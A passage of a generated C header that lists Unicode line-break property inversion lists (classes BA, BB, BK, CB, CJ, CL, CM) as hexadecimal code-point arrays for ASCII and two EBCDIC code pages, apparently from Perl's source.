0x2E1A, - 0x2E2A, - 0x2E2E, - 0x2E30, - 0x2E32, - 0x2E33, - 0x2E35, - 0x2E3C, - 0x2E3F, - 0x2E40, - 0x2E42, - 0x2E43, - 0x2E4A, - 0x3000, - 0x3001, - 0xA4FE, - 0xA500, - 0xA60D, - 0xA60E, - 0xA60F, - 0xA610, - 0xA6F3, - 0xA6F8, - 0xA8CE, - 0xA8D0, - 0xA92E, - 0xA930, - 0xA9C7, - 0xA9CA, - 0xAA5D, - 0xAA60, - 0xAAF0, - 0xAAF2, - 0xABEB, - 0xABEC, - 0x10100, - 0x10103, - 0x1039F, - 0x103A0, - 0x103D0, - 0x103D1, - 0x10857, - 0x10858, - 0x1091F, - 0x10920, - 0x10A50, - 0x10A58, - 0x10AF0, - 0x10AF6, - 0x10B39, - 0x10B40, - 0x11047, - 0x11049, - 0x110BE, - 0x110C2, - 0x11140, - 0x11144, - 0x111C5, - 0x111C7, - 0x111C8, - 0x111C9, - 0x111DD, - 0x111E0, - 0x11238, - 0x1123A, - 0x1123B, - 0x1123D, - 0x112A9, - 0x112AA, - 0x1144B, - 0x1144F, - 0x1145B, - 0x1145C, - 0x115C2, - 0x115C4, - 0x115C9, - 0x115D8, - 0x11641, - 0x11643, - 0x1173C, - 0x1173F, - 0x11A41, - 0x11A45, - 0x11A9A, - 0x11A9D, - 0x11AA1, - 0x11AA3, - 0x11C41, - 0x11C46, - 0x12470, - 0x12475, - 0x16A6E, - 0x16A70, - 0x16AF5, - 0x16AF6, - 0x16B37, - 0x16B3A, - 0x16B44, - 0x16B45, - 0x1BC9F, - 0x1BCA0, - 0x1DA87, - 0x1DA8B -}; - -# endif /* EBCDIC 1047 */ - -# if 'A' == 193 /* EBCDIC 037 */ \ - && '\\' == 224 && '[' == 186 && ']' == 187 && '{' == 192 && '}' == 208 \ - && '^' == 176 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \ - && '$' == 91 && '@' == 124 && '`' == 121 - -static const UV PL_LB__BA_invlist[] = { /* for EBCDIC 037 */ - 185, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x5, - 0x6, - 0x4F, - 0x50, - 0xCA, - 0xCB, - 0x58A, - 0x58B, - 0x5BE, - 0x5BF, - 0x964, - 0x966, - 0xE5A, - 0xE5C, - 0xF0B, - 0xF0C, - 0xF34, - 0xF35, - 0xF7F, - 0xF80, - 0xF85, - 0xF86, - 0xFBE, - 0xFC0, - 0xFD2, - 0xFD3, - 0x104A, - 0x104C, - 0x1361, - 0x1362, - 0x1400, - 0x1401, - 0x1680, - 0x1681, - 0x16EB, - 0x16EE, - 0x1735, - 0x1737, - 0x17D4, - 0x17D6, - 0x17D8, - 0x17D9, - 0x17DA, - 0x17DB, - 0x1804, - 0x1806, - 0x1B5A, - 0x1B5C, - 0x1B5D, - 0x1B61, - 0x1C3B, - 0x1C40, - 0x1C7E, - 0x1C80, - 0x2000, - 0x2007, - 0x2008, - 0x200B, - 0x2010, - 0x2011, - 0x2012, - 0x2014, - 0x2027, - 0x2028, - 0x2056, - 0x2057, - 0x2058, - 0x205C, - 0x205D, - 0x2060, - 0x2CFA, - 0x2CFD, - 0x2CFF, - 0x2D00, - 0x2D70, - 0x2D71, - 0x2E0E, - 0x2E16, - 0x2E17, - 0x2E18, - 0x2E19, - 0x2E1A, - 0x2E2A, - 0x2E2E, - 0x2E30, - 0x2E32, - 0x2E33, - 0x2E35, - 0x2E3C, - 0x2E3F, - 0x2E40, - 0x2E42, - 0x2E43, - 0x2E4A, - 0x3000, - 0x3001, - 0xA4FE, - 0xA500, - 0xA60D, - 0xA60E, - 0xA60F, - 0xA610, - 0xA6F3, - 0xA6F8, - 0xA8CE, - 0xA8D0, - 0xA92E, - 0xA930, - 0xA9C7, - 0xA9CA, - 0xAA5D, - 0xAA60, - 0xAAF0, - 0xAAF2, - 0xABEB, - 0xABEC, - 0x10100, - 0x10103, - 0x1039F, - 0x103A0, - 0x103D0, - 0x103D1, - 0x10857, - 0x10858, - 0x1091F, - 0x10920, - 0x10A50, - 0x10A58, - 0x10AF0, - 0x10AF6, - 0x10B39, - 0x10B40, - 0x11047, - 0x11049, - 0x110BE, - 0x110C2, - 0x11140, - 0x11144, - 0x111C5, - 0x111C7, - 0x111C8, - 0x111C9, - 0x111DD, - 0x111E0, - 0x11238, - 0x1123A, - 0x1123B, - 0x1123D, - 0x112A9, - 0x112AA, - 0x1144B, - 0x1144F, - 0x1145B, - 0x1145C, - 0x115C2, - 0x115C4, - 0x115C9, - 0x115D8, - 0x11641, - 0x11643, - 0x1173C, - 0x1173F, - 0x11A41, - 0x11A45, - 0x11A9A, - 0x11A9D, - 0x11AA1, - 0x11AA3, - 0x11C41, - 0x11C46, - 0x12470, - 0x12475, - 0x16A6E, - 0x16A70, - 0x16AF5, - 0x16AF6, - 0x16B37, - 0x16B3A, - 0x16B44, - 0x16B45, - 0x1BC9F, - 0x1BCA0, - 0x1DA87, - 0x1DA8B -}; - -# endif /* EBCDIC 037 */ - -# if 'A' == 65 /* ASCII/Latin1 */ - -static const UV PL_LB__BB_invlist[] = { /* for ASCII/Latin1 */ - 43, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0xB4, - 0xB5, - 0x2C8, - 0x2C9, - 0x2CC, - 0x2CD, - 0x2DF, - 0x2E0, - 0xF01, - 0xF05, - 0xF06, - 0xF08, - 0xF09, - 0xF0B, - 0xFD0, - 0xFD2, - 0xFD3, - 0xFD4, - 0x1806, - 0x1807, - 0x1FFD, - 0x1FFE, - 0xA874, - 0xA876, - 0xA8FC, - 0xA8FD, - 0x11175, - 0x11176, - 0x111DB, - 0x111DC, - 0x115C1, - 0x115C2, - 0x11660, - 0x1166D, - 0x11A3F, - 0x11A40, - 0x11A45, - 0x11A46, - 0x11A9E, - 0x11AA1, - 0x11C70, - 0x11C71 -}; - -# endif /* ASCII/Latin1 */ - -# if 'A' == 193 /* EBCDIC 1047 */ \ - && '\\' == 224 && '[' == 173 && ']' == 189 && '{' == 192 && '}' == 208 \ - && '^' == 95 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \ - && '$' == 91 && '@' == 124 && '`' == 121 - -static const UV PL_LB__BB_invlist[] = { /* for EBCDIC 1047 */ - 43, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0xBE, - 0xBF, - 0x2C8, - 0x2C9, - 0x2CC, - 0x2CD, - 0x2DF, - 0x2E0, - 0xF01, - 0xF05, - 0xF06, - 0xF08, - 0xF09, - 0xF0B, - 0xFD0, - 0xFD2, - 0xFD3, - 0xFD4, - 0x1806, - 0x1807, - 0x1FFD, - 0x1FFE, - 0xA874, - 0xA876, - 0xA8FC, - 0xA8FD, - 0x11175, - 0x11176, - 0x111DB, - 0x111DC, - 0x115C1, - 0x115C2, - 0x11660, - 0x1166D, - 0x11A3F, - 0x11A40, - 0x11A45, - 0x11A46, - 0x11A9E, - 0x11AA1, - 0x11C70, - 0x11C71 -}; - -# endif /* EBCDIC 1047 */ - -# if 'A' == 193 /* EBCDIC 037 */ \ - && '\\' == 224 && '[' == 186 && ']' == 187 && '{' == 192 && '}' == 208 \ - && '^' == 176 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \ - && '$' == 91 && '@' == 124 && '`' == 121 - -static const UV PL_LB__BB_invlist[] = { /* for EBCDIC 037 */ - 43, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0xBE, - 0xBF, - 0x2C8, - 0x2C9, - 0x2CC, - 0x2CD, - 0x2DF, - 0x2E0, - 0xF01, - 0xF05, - 0xF06, - 0xF08, - 0xF09, - 0xF0B, - 0xFD0, - 0xFD2, - 0xFD3, - 0xFD4, - 0x1806, - 0x1807, - 0x1FFD, - 0x1FFE, - 0xA874, - 0xA876, - 0xA8FC, - 0xA8FD, - 0x11175, - 0x11176, - 0x111DB, - 0x111DC, - 0x115C1, - 0x115C2, - 0x11660, - 0x1166D, - 0x11A3F, - 0x11A40, - 0x11A45, - 0x11A46, - 0x11A9E, - 0x11AA1, - 0x11C70, - 0x11C71 -}; - -# endif /* EBCDIC 037 */ - -# if 'A' == 65 /* ASCII/Latin1 */ - -static const UV PL_LB__BK_invlist[] = { /* for ASCII/Latin1 */ - 5, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0xB, - 0xD, - 0x2028, - 0x202A -}; - -# endif /* ASCII/Latin1 */ - -# if 'A' == 193 /* EBCDIC 1047 */ \ - && '\\' == 224 && '[' == 173 && ']' == 189 && '{' == 192 && '}' == 208 \ - && '^' == 95 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \ - && '$' == 91 && '@' == 124 && '`' == 121 - -static const UV PL_LB__BK_invlist[] = { /* for EBCDIC 1047 */ - 5, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0xB, - 0xD, - 0x2028, - 0x202A -}; - -# endif /* EBCDIC 1047 */ - -# if 'A' == 193 /* EBCDIC 037 */ \ - && '\\' == 224 && '[' == 186 && ']' == 187 && '{' == 192 && '}' == 208 \ - && '^' == 176 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \ - && '$' == 91 && '@' == 124 && '`' == 121 - -static const UV PL_LB__BK_invlist[] = { /* for EBCDIC 037 */ - 5, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0xB, - 0xD, - 0x2028, - 0x202A -}; - -# endif /* EBCDIC 037 */ - -static const UV PL_LB__CB_invlist[] = { /* for all charsets */ - 3, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0xFFFC, - 0xFFFD -}; - -static const UV PL_LB__CJ_invlist[] = { /* for all charsets */ - 51, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x3041, - 0x3042, - 0x3043, - 0x3044, - 0x3045, - 0x3046, - 0x3047, - 0x3048, - 0x3049, - 0x304A, - 0x3063, - 0x3064, - 0x3083, - 0x3084, - 0x3085, - 0x3086, - 0x3087, - 0x3088, - 0x308E, - 0x308F, - 0x3095, - 0x3097, - 0x30A1, - 0x30A2, - 0x30A3, - 0x30A4, - 0x30A5, - 0x30A6, - 0x30A7, - 0x30A8, - 0x30A9, - 0x30AA, - 0x30C3, - 0x30C4, - 0x30E3, - 0x30E4, - 0x30E5, - 0x30E6, - 0x30E7, - 0x30E8, - 0x30EE, - 0x30EF, - 0x30F5, - 0x30F7, - 0x30FC, - 0x30FD, - 0x31F0, - 0x3200, - 0xFF67, - 0xFF71 -}; - -# if 'A' == 65 /* ASCII/Latin1 */ - -static const UV PL_LB__CL_invlist[] = { /* for ASCII/Latin1 */ - 165, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x7D, - 0x7E, - 0xF3B, - 0xF3C, - 0xF3D, - 0xF3E, - 0x169C, - 0x169D, - 0x2046, - 0x2047, - 0x207E, - 0x207F, - 0x208E, - 0x208F, - 0x2309, - 0x230A, - 0x230B, - 0x230C, - 0x232A, - 0x232B, - 0x2769, - 0x276A, - 0x276B, - 0x276C, - 0x276D, - 0x276E, - 0x276F, - 0x2770, - 0x2771, - 0x2772, - 0x2773, - 0x2774, - 0x2775, - 0x2776, - 0x27C6, - 0x27C7, - 0x27E7, - 0x27E8, - 0x27E9, - 0x27EA, - 0x27EB, - 0x27EC, - 0x27ED, - 0x27EE, - 0x27EF, - 0x27F0, - 0x2984, - 0x2985, - 0x2986, - 0x2987, - 0x2988, - 0x2989, - 0x298A, - 0x298B, - 0x298C, - 0x298D, - 0x298E, - 0x298F, - 0x2990, - 0x2991, - 0x2992, - 0x2993, - 0x2994, - 0x2995, - 0x2996, - 0x2997, - 0x2998, - 0x2999, - 0x29D9, - 0x29DA, - 0x29DB, - 0x29DC, - 0x29FD, - 0x29FE, - 0x2E23, - 0x2E24, - 0x2E25, - 0x2E26, - 0x2E27, - 0x2E28, - 0x2E29, - 0x2E2A, - 0x3001, - 0x3003, - 0x3009, - 0x300A, - 0x300B, - 0x300C, - 0x300D, - 0x300E, - 0x300F, - 0x3010, - 0x3011, - 0x3012, - 0x3015, - 0x3016, - 0x3017, - 0x3018, - 0x3019, - 0x301A, - 0x301B, - 0x301C, - 0x301E, - 0x3020, - 0xFD3E, - 0xFD3F, - 0xFE11, - 0xFE13, - 0xFE18, - 0xFE19, - 0xFE36, - 0xFE37, - 0xFE38, - 0xFE39, - 0xFE3A, - 0xFE3B, - 0xFE3C, - 0xFE3D, - 0xFE3E, - 0xFE3F, - 0xFE40, - 0xFE41, - 0xFE42, - 0xFE43, - 0xFE44, - 0xFE45, - 0xFE48, - 0xFE49, - 0xFE50, - 0xFE51, - 0xFE52, - 0xFE53, - 0xFE5A, - 0xFE5B, - 0xFE5C, - 0xFE5D, - 0xFE5E, - 0xFE5F, - 0xFF09, - 0xFF0A, - 0xFF0C, - 0xFF0D, - 0xFF0E, - 0xFF0F, - 0xFF3D, - 0xFF3E, - 0xFF5D, - 0xFF5E, - 0xFF60, - 0xFF62, - 0xFF63, - 0xFF65, - 0x1325B, - 0x1325E, - 0x13282, - 0x13283, - 0x13287, - 0x13288, - 0x13289, - 0x1328A, - 0x1337A, - 0x1337C, - 0x145CF, - 0x145D0 -}; - -# endif /* ASCII/Latin1 */ - -# if 'A' == 193 /* EBCDIC 1047 */ \ - && '\\' == 224 && '[' == 173 && ']' == 189 && '{' == 192 && '}' == 208 \ - && '^' == 95 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \ - && '$' == 91 && '@' == 124 && '`' == 121 - -static const UV PL_LB__CL_invlist[] = { /* for EBCDIC 1047 */ - 165, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0xD0, - 0xD1, - 0xF3B, - 0xF3C, - 0xF3D, - 0xF3E, - 0x169C, - 0x169D, - 0x2046, - 0x2047, - 0x207E, - 0x207F, - 0x208E, - 0x208F, - 0x2309, - 0x230A, - 0x230B, - 0x230C, - 0x232A, - 0x232B, - 0x2769, - 0x276A, - 0x276B, - 0x276C, - 0x276D, - 0x276E, - 0x276F, - 0x2770, - 0x2771, - 0x2772, - 0x2773, - 0x2774, - 0x2775, - 0x2776, - 0x27C6, - 0x27C7, - 0x27E7, - 0x27E8, - 0x27E9, - 0x27EA, - 0x27EB, - 0x27EC, - 0x27ED, - 0x27EE, - 0x27EF, - 0x27F0, - 0x2984, - 0x2985, - 0x2986, - 0x2987, - 0x2988, - 0x2989, - 0x298A, - 0x298B, - 0x298C, - 0x298D, - 0x298E, - 0x298F, - 0x2990, - 0x2991, - 0x2992, - 0x2993, - 0x2994, - 0x2995, - 0x2996, - 0x2997, - 0x2998, - 0x2999, - 0x29D9, - 0x29DA, - 0x29DB, - 0x29DC, - 0x29FD, - 0x29FE, - 0x2E23, - 0x2E24, - 0x2E25, - 0x2E26, - 0x2E27, - 0x2E28, - 0x2E29, - 0x2E2A, - 0x3001, - 0x3003, - 0x3009, - 0x300A, - 0x300B, - 0x300C, - 0x300D, - 0x300E, - 0x300F, - 0x3010, - 0x3011, - 0x3012, - 0x3015, - 0x3016, - 0x3017, - 0x3018, - 0x3019, - 0x301A, - 0x301B, - 0x301C, - 0x301E, - 0x3020, - 0xFD3E, - 0xFD3F, - 0xFE11, - 0xFE13, - 0xFE18, - 0xFE19, - 0xFE36, - 0xFE37, - 0xFE38, - 0xFE39, - 0xFE3A, - 0xFE3B, - 0xFE3C, - 0xFE3D, - 0xFE3E, - 0xFE3F, - 0xFE40, - 0xFE41, - 0xFE42, - 0xFE43, - 0xFE44, - 0xFE45, - 0xFE48, - 0xFE49, - 0xFE50, - 0xFE51, - 0xFE52, - 0xFE53, - 0xFE5A, - 0xFE5B, - 0xFE5C, - 0xFE5D, - 0xFE5E, - 0xFE5F, - 0xFF09, - 0xFF0A, - 0xFF0C, - 0xFF0D, - 0xFF0E, - 0xFF0F, - 0xFF3D, - 0xFF3E, - 0xFF5D, - 0xFF5E, - 0xFF60, - 0xFF62, - 0xFF63, - 0xFF65, - 0x1325B, - 0x1325E, - 0x13282, - 0x13283, - 0x13287, - 0x13288, - 0x13289, - 0x1328A, - 0x1337A, - 0x1337C, - 0x145CF, - 0x145D0 -}; - -# endif /* EBCDIC 1047 */ - -# if 'A' == 193 /* EBCDIC 037 */ \ - && '\\' == 224 && '[' == 186 && ']' == 187 && '{' == 192 && '}' == 208 \ - && '^' == 176 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \ - && '$' == 91 && '@' == 124 && '`' == 121 - -static const UV PL_LB__CL_invlist[] = { /* for EBCDIC 037 */ - 165, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0xD0, - 0xD1, - 0xF3B, - 0xF3C, - 0xF3D, - 0xF3E, - 0x169C, - 0x169D, - 0x2046, - 0x2047, - 0x207E, - 0x207F, - 0x208E, - 0x208F, - 0x2309, - 0x230A, - 0x230B, - 0x230C, - 0x232A, - 0x232B, - 0x2769, - 0x276A, - 0x276B, - 0x276C, - 0x276D, - 0x276E, - 0x276F, - 0x2770, - 0x2771, - 0x2772, - 0x2773, - 0x2774, - 0x2775, - 0x2776, - 0x27C6, - 0x27C7, - 0x27E7, - 0x27E8, - 0x27E9, - 0x27EA, - 0x27EB, - 0x27EC, - 0x27ED, - 0x27EE, - 0x27EF, - 0x27F0, - 0x2984, - 0x2985, - 0x2986, - 0x2987, - 0x2988, - 0x2989, - 0x298A, - 0x298B, - 0x298C, - 0x298D, - 0x298E, - 0x298F, - 0x2990, - 0x2991, - 0x2992, - 0x2993, - 0x2994, - 0x2995, - 0x2996, - 0x2997, - 0x2998, - 0x2999, - 0x29D9, - 0x29DA, - 0x29DB, - 0x29DC, - 0x29FD, - 0x29FE, - 0x2E23, - 0x2E24, - 0x2E25, - 0x2E26, - 0x2E27, - 0x2E28, - 0x2E29, - 0x2E2A, - 0x3001, - 0x3003, - 0x3009, - 0x300A, - 0x300B, - 0x300C, - 0x300D, - 0x300E, - 0x300F, - 0x3010, - 0x3011, - 0x3012, - 0x3015, - 0x3016, - 0x3017, - 0x3018, - 0x3019, - 0x301A, - 0x301B, - 0x301C, - 0x301E, - 0x3020, - 0xFD3E, - 0xFD3F, - 0xFE11, - 0xFE13, - 0xFE18, - 0xFE19, - 0xFE36, - 0xFE37, - 0xFE38, - 0xFE39, - 0xFE3A, - 0xFE3B, - 0xFE3C, - 0xFE3D, - 0xFE3E, - 0xFE3F, - 0xFE40, - 0xFE41, - 0xFE42, - 0xFE43, - 0xFE44, - 0xFE45, - 0xFE48, - 0xFE49, - 0xFE50, - 0xFE51, - 0xFE52, - 0xFE53, - 0xFE5A, - 0xFE5B, - 0xFE5C, - 0xFE5D, - 0xFE5E, - 0xFE5F, - 0xFF09, - 0xFF0A, - 0xFF0C, - 0xFF0D, - 0xFF0E, - 0xFF0F, - 0xFF3D, - 0xFF3E, - 0xFF5D, - 0xFF5E, - 0xFF60, - 0xFF62, - 0xFF63, - 0xFF65, - 0x1325B, - 0x1325E, - 0x13282, - 0x13283, - 0x13287, - 0x13288, - 0x13289, - 0x1328A, - 0x1337A, - 0x1337C, - 0x145CF, - 0x145D0 -}; - -# endif /* EBCDIC 037 */ - -# if 'A' == 65 /* ASCII/Latin1 */ - -static const UV PL_LB__CM_invlist[] = { /* for ASCII/Latin1 */ - 502, /* Number of elements */ - 148565664, /* Version and data structure type */ - 0, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x9, - 0xE, - 0x20, - 0x7F, - 0x85, - 0x86, - 0xA0, - 0x300, - 0x34F, - 0x350, - 0x35C, - 0x363, - 0x370, - 0x483, - 0x48A, - 0x591, - 0x5BE, - 0x5BF, - 0x5C0, - 0x5C1, - 0x5C3, - 0x5C4, - 0x5C6, - 0x5C7, - 0x5C8, - 0x610, - 0x61B, - 0x61C, - 0x61D, - 0x64B, - 0x660, - 0x670, - 0x671, - 0x6D6, - 0x6DD, - 0x6DF, - 0x6E5, - 0x6E7, - 0x6E9, - 0x6EA, - 0x6EE, - 0x711, - 0x712, - 0x730, - 0x74B, - 0x7A6, - 0x7B1, - 0x7EB, - 0x7F4, - 0x816, - 0x81A, - 0x81B, - 0x824, - 0x825, - 0x828, - 0x829, - 0x82E, - 0x859, - 0x85C, - 0x8D4, - 0x8E2, - 0x8E3, - 0x904, - 0x93A, - 0x93D, - 0x93E, - 0x950, - 0x951, - 0x958, - 0x962, - 0x964, - 0x981, - 0x984, - 0x9BC, - 0x9BD, - 0x9BE, - 0x9C5, - 0x9C7, - 0x9C9, - 0x9CB, - 0x9CE, - 0x9D7, - 0x9D8, - 0x9E2, - 0x9E4, - 0xA01, - 0xA04, - 0xA3C, - 0xA3D, - 0xA3E, - 0xA43, - 0xA47, - 0xA49, - 0xA4B, - 0xA4E, - 0xA51, - 0xA52, - 0xA70, - 0xA72, - 0xA75, - 0xA76, - 0xA81, - 0xA84, - 0xABC, - 0xABD, - 0xABE, - 0xAC6, - 0xAC7, - 0xACA, - 0xACB, - 0xACE, - 0xAE2, - 0xAE4, - 0xAFA, - 0xB00, - 0xB01, - 0xB04, - 0xB3C, - 0xB3D, - 0xB3E, - 0xB45, - 0xB47, - 0xB49, - 0xB4B, - 0xB4E, - 0xB56, - 0xB58, - 0xB62, - 0xB64, - 0xB82, - 0xB83, - 0xBBE, - 0xBC3, - 0xBC6, - 0xBC9, - 0xBCA, - 0xBCE, - 0xBD7, - 0xBD8, - 0xC00, - 0xC04, - 0xC3E, - 0xC45, - 0xC46, - 0xC49, - 0xC4A, - 0xC4E, - 0xC55, - 0xC57, - 0xC62, - 0xC64, - 0xC81, - 0xC84, - 0xCBC, - 0xCBD, - 0xCBE, - 0xCC5, - 0xCC6, - 0xCC9, - 0xCCA, - 0xCCE, - 0xCD5, - 0xCD7, - 0xCE2, - 0xCE4, - 0xD00, - 0xD04, - 0xD3B, - 0xD3D, - 0xD3E, - 0xD45, - 0xD46, - 0xD49, - 0xD4A, - 0xD4E, - 0xD57, - 0xD58, - 0xD62, - 0xD64, - 0xD82, - 0xD84, - 0xDCA, - 0xDCB, - 0xDCF, - 0xDD5, - 0xDD6, - 0xDD7, - 0xDD8, - 0xDE0, - 0xDF2, - 0xDF4, - 0xF18, - 0xF1A, - 0xF35, - 0xF36, - 0xF37, - 0xF38, - 0xF39, - 0xF3A, - 0xF3E, - 0xF40, - 0xF71, - 0xF7F, - 0xF80, - 0xF85, - 0xF86, - 0xF88, - 0xF8D, - 0xF98, - 0xF99, - 0xFBD, - 0xFC6, - 0xFC7, - 0x135D, - 0x1360, - 0x1712, - 0x1715, - 0x1732, - 0x1735, - 0x1752, - 0x1754, - 0x1772, - 0x1774, - 0x180B, - 0x180E, - 0x1885, - 0x1887, - 0x18A9, - 0x18AA, - 0x1920, - 0x192C, - 0x1930, - 0x193C, - 0x1A17, - 0x1A1C, - 0x1A7F, - 0x1A80, - 0x1AB0, - 0x1ABF, - 0x1B00, - 0x1B05, - 0x1B34, - 0x1B45, - 0x1B6B, - 0x1B74, - 0x1B80, - 0x1B83, - 0x1BA1, - 0x1BAE, - 0x1BE6, - 0x1BF4, - 0x1C24, - 0x1C38, - 0x1CD0, - 0x1CD3, - 0x1CD4, - 0x1CE9, - 0x1CED, - 0x1CEE, - 0x1CF2, - 0x1CF5, - 0x1CF7, - 0x1CFA, - 0x1DC0, - 0x1DFA, - 0x1DFB, - 0x1E00, - 0x200C, - 0x200D, - 0x200E, - 0x2010, - 0x202A, - 0x202F, - 0x2066, - 0x2070, - 0x20D0, - 0x20F1, - 0x2CEF, - 0x2CF2, - 0x2D7F, - 0x2D80, - 0x2DE0, - 0x2E00, - 0x302A, - 0x3030, - 0x3035, - 0x3036, - 0x3099, - 0x309B, - 0xA66F, - 0xA673, - 0xA674, - 0xA67E, - 0xA69E, - 0xA6A0, - 0xA6F0, - 0xA6F2, - 0xA802, - 0xA803, - 0xA806, - 0xA807, - 0xA80B, - 0xA80C, - 0xA823, - 0xA828, - 0xA880, - 0xA882, - 0xA8B4, - 0xA8C6, - 0xA8E0, - 0xA8F2, - 0xA926, - 0xA92E, - 0xA947, - 0xA954, - 0xA980, - 0xA984, - 0xA9B3, - 0xA9C1, - 0xAA29, - 0xAA37, - 0xAA43, - 0xAA44, - 0xAA4C, - 0xAA4E, - 0xAAEB, - 0xAAF0, - 0xAAF5, - 0xAAF7, - 0xABE3, - 0xABEB, - 0xABEC, - 0xABEE, - 0xFB1E, - 0xFB1F, - 0xFE00, - 0xFE10, - 0xFE20, - 0xFE30, - 0xFFF9, - 0xFFFC, - 0x101FD, - 0x101FE, - 0x102E0, - 0x102E1, - 0x10376, - 0x1037B, - 0x10A01, - 0x10A04, - 0x10A05, - 0x10A07, - 0x10A0C, - 0x10A10, - 0x10A38, - 0x10A3B, - 0x10A3F, - 0x10A40, - 0x10AE5, - 0x10AE7, - 0x11000, - 0x11003, - 0x11038, - 0x11047, - 0x1107F, - 0x11083, - 0x110B0, - 0x110BB, - 0x11100, - 0x11103, - 0x11127, - 0x11135, - 0x11173, - 0x11174, - 0x11180, - 0x11183, - 0x111B3, - 0x111C1, - 0x111CA, - 0x111CD, - 0x1122C, - 0x11238, - 0x1123E, - 0x1123F, - 0x112DF, - 0x112EB, - 0x11300, - 0x11304, - 0x1133C, - 0x1133D, - 0x1133E, - 0x11345, - 0x11347, - 0x11349, - 0x1134B, - 0x1134E, - 0x11357, - 0x11358, - 0x11362, - 0x11364, - 0x11366, - 0x1136D, - 0x11370, - 0x11375, - 0x11435, - 0x11447, - 0x114B0, - 0x114C4, - 0x115AF, - 0x115B6, - 0x115B8, - 0x115C1, - 0x115DC, - 0x115DE, - 0x11630, - 0x11641, - 0x116AB, - 0x116B8, - 0x11A01, - 0x11A0B, - 0x11A33, - 0x11A3A, - 0x11A3B, - 0x11A3F, - 0x11A47, - 0x11A48, - 0x11A51, - 0x11A5C, - 0x11A8A, - 0x11A9A, - 0x11C2F, - 0x11C37, - 0x11C38, - 0x11C40, - 0x11C92, - 0x11CA8, - 0x11CA9, - 0x11CB7, - 0x11D31, - 0x11D37, - 0x11D3A, - 0x11D3B, - 0x11D3C, - 0x11D3E, - 0x11D3F, - 0x11D46, - 0x11D47, - 0x11D48, - 0x16AF0, - 0x16AF5, - 0x16B30, - 0x16B37, - 0x16F51, - 0x16F7F, - 0x16F8F, - 0x16F93, - 0x1BC9D, - 0x1BC9F, - 0x1BCA0, - 0x1BCA4, - 0x1D165, - 0x1D16A, - 0x1D16D, - 0x1D183, - 0x1D185, - 0x1D18C, - 0x1D1AA, - 0x1D1AE, - 0x1D242, - 0x1D245, - 0x1DA00, - 0x1DA37, - 0x1DA3B, - 0x1DA6D, - 0x1DA75, - 0x1DA76, - 0x1DA84, - 0x1DA85, - 0x1DA9B, - 0x1DAA0, - 0x1DAA1, - 0x1DAB0, - 0x1E000, - 0x1E007, - 0x1E008, - 0x1E019, - 0x1E01B, - 0x1E022, - 0x1E023, - 0x1E025, - 0x1E026, - 0x1E02B, - 0x1E8D0, - 0x1E8D7, - 0x1E944, - 0x1E94B, - 0xE0001, - 0xE0002, - 0xE0020, - 0xE0080, - 0xE0100, - 0xE01F0 -}; - -# endif /* ASCII/Latin1 */ - -# if 'A' == 193 /* EBCDIC 1047 */ \ - && '\\' == 224 && '[' == 173 && ']' == 189 && '{' == 192 && '}' == 208 \ - && '^' == 95 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \ - && '$' == 91 && '@' == 124 && '`' == 121 - -static const UV PL_LB__CM_invlist[] = { /* for EBCDIC 1047 */ - 506, /* Number of elements */ - 148565664, /* Version and data structure type */ - 0, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x5, - 0x6, - 0xB, - 0xE, - 0x15, - 0x16, - 0x25, - 0x26, - 0x40, - 0xFF, - 0x100, - 0x300, - 0x34F, - 0x350, - 0x35C, - 0x363, - 0x370, - 0x483, - 0x48A, - 0x591, - 0x5BE, - 0x5BF, - 0x5C0, - 0x5C1, - 0x5C3, - 0x5C4, - 0x5C6, - 0x5C7, - 0x5C8, - 0x610, - 0x61B, - 0x61C, - 0x61D, - 0x64B, - 0x660, - 0x670, - 0x671, - 0x6D6, - 0x6DD, - 0x6DF, - 0x6E5, - 0x6E7, - 0x6E9, - 0x6EA, - 0x6EE, - 0x711, - 0x712, - 0x730, - 0x74B, - 0x7A6, - 0x7B1, - 0x7EB, - 0x7F4, - 0x816, - 0x81A, - 0x81B, - 0x824, - 0x825, - 0x828, - 0x829, - 0x82E, - 0x859, - 0x85C, - 0x8D4, - 0x8E2, - 0x8E3, - 0x904, - 0x93A, - 0x93D, - 0x93E, - 0x950, - 0x951, - 0x958, - 0x962, - 0x964, - 0x981, - 0x984, - 0x9BC, - 0x9BD, - 0x9BE, - 0x9C5, - 0x9C7, - 0x9C9, - 0x9CB, - 